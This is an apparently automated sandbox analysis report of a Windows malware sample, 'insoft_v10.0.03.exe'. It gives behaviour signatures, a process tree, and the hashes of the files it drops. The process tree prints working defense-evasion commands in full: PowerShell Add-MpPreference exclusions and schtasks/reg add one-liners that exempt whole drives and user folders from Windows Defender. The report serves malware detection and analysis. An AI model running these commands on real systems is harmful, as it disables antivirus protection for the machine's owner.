Analysis

  • max time kernel
    151s
  • max time network
    161s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    15/08/2026, 16:25

General

  • Target
    insoft_v10.0.03.exe
  • Size 35.0MB
  • Sample260815-txfkcsdr5w
  • SHA256 331f6b7087b698bcb252801731dcb700842879571077d4f30527e96c59f1f114
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\insoft_v10.0.03.exe
    "C:\Users\Admin\AppData\Local\Temp\insoft_v10.0.03.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:5856
  • C:\Users\Public\PqZAxD\HQsGml.exe
    "C:\Users\Public\PqZAxD\HQsGml.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2436
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:4552
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\PqZAxD\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:8
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\PqZAxD\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5592
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:1364
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:2480
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:1212
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4952
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:1796
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:1792
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:2432
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:4232
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:868
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:3208
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:1280
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:3440
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:3424
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:5884
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:3812
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:5016
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:1704
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:5840
                      • C:\Users\Public\PqZAxD\HQsGml.exe
                        "C:\Users\Public\PqZAxD\HQsGml.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:2504
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\PqZAxD" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:1800
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\PqZAxD" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:5836
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:5292
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:5892
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:1252
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:2584
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:1764

                        Network

                              MITRE ATT&CK Enterprise v16

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                              Downloads

                              HQsGml.exe

                              • Path C:\Users\Public\PqZAxD\HQsGml.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\PqZAxD\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 3c02b83c98127cd2478a4f33ce7e2b451a9553e626f9878e44dfcde77fdebaae
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\PqZAxD\adoresd.dat
                              • Size 4.7MB
                              • SHA256 6dfba6aadb2e86ff9eeecec591fdf0d32a3a2fc92934005c892446f356132bfe
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\PqZAxD\msadox.tb
                              • Size 8KB
                              • SHA256 d8ad82e8776b96472ea8f36212bf1a1fa432ccbc4047600b77c77e7927da89d5
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/2436-558-0x0000014D976E0000-0x0000014D9772E000-memory.dmp

                              memory/2436-563-0x0000014D98FD0000-0x0000014D9905A000-memory.dmp

                              memory/2436-561-0x0000014D98FD0000-0x0000014D9905A000-memory.dmp

                              memory/2436-567-0x0000014D99A70000-0x0000014D9A2F7000-memory.dmp

                              memory/2436-532-0x00007FF9C8890000-0x00007FF9C8892000-memory.dmp

                              memory/2436-533-0x00007FF9A5AB0000-0x00007FF9A5FCE000-memory.dmp

                              memory/2436-565-0x0000014D99A70000-0x0000014D9A2F7000-memory.dmp

                              memory/2436-560-0x0000014D98FD0000-0x0000014D9905A000-memory.dmp

                              memory/2436-538-0x0000014D99A70000-0x0000014D9A2F7000-memory.dmp

                              memory/2436-540-0x00007FF9C88A0000-0x00007FF9C88A2000-memory.dmp

                              memory/2436-541-0x0000014D99A70000-0x0000014D9A2F7000-memory.dmp

                              memory/2436-545-0x0000014D99A70000-0x0000014D9A2F7000-memory.dmp

                              memory/2436-546-0x0000014D99A70000-0x0000014D9A2F7000-memory.dmp

                              memory/2436-547-0x0000014D99A70000-0x0000014D9A2F7000-memory.dmp

                              memory/2436-548-0x0000014D99A70000-0x0000014D9A2F7000-memory.dmp

                              memory/2436-552-0x0000014D99A70000-0x0000014D9A2F7000-memory.dmp

                              memory/2436-562-0x0000014D98FD0000-0x0000014D9905A000-memory.dmp

                              memory/2504-580-0x00007FF9C88A0000-0x00007FF9C88A2000-memory.dmp

                              memory/2504-587-0x0000020D3AFD0000-0x0000020D3B857000-memory.dmp

                              memory/2504-588-0x0000020D3AFD0000-0x0000020D3B857000-memory.dmp

                              memory/2504-586-0x0000020D3AFD0000-0x0000020D3B857000-memory.dmp

                              memory/2504-589-0x00007FF9C8890000-0x00007FF9C8892000-memory.dmp

                              memory/2504-581-0x0000020D3AFD0000-0x0000020D3B857000-memory.dmp

                              memory/2504-575-0x00007FF9A5AB0000-0x00007FF9A5FCE000-memory.dmp

                              memory/2504-579-0x0000020D3AFD0000-0x0000020D3B857000-memory.dmp

                              memory/2504-585-0x0000020D3AFD0000-0x0000020D3B857000-memory.dmp

                              memory/4552-604-0x0000020E34500000-0x0000020E34522000-memory.dmp

                              memory/4552-608-0x0000020E34560000-0x0000020E3457E000-memory.dmp

                              memory/4552-609-0x0000020E347B0000-0x0000020E34862000-memory.dmp

                              memory/4552-610-0x0000020E34580000-0x0000020E3458A000-memory.dmp

                              memory/5856-0-0x00000000042E0000-0x00000000042EE000-memory.dmp

                              memory/5856-504-0x00007FF9C0510000-0x00007FF9C0522000-memory.dmp

                              memory/5856-526-0x00000000042E0000-0x00000000042EE000-memory.dmp

                              memory/5856-2-0x00000000042F0000-0x00000000042FC000-memory.dmp

                              memory/5856-1-0x00000000042E0000-0x00000000042EE000-memory.dmp

                              memory/5856-527-0x00007FF9C0510000-0x00007FF9C0522000-memory.dmp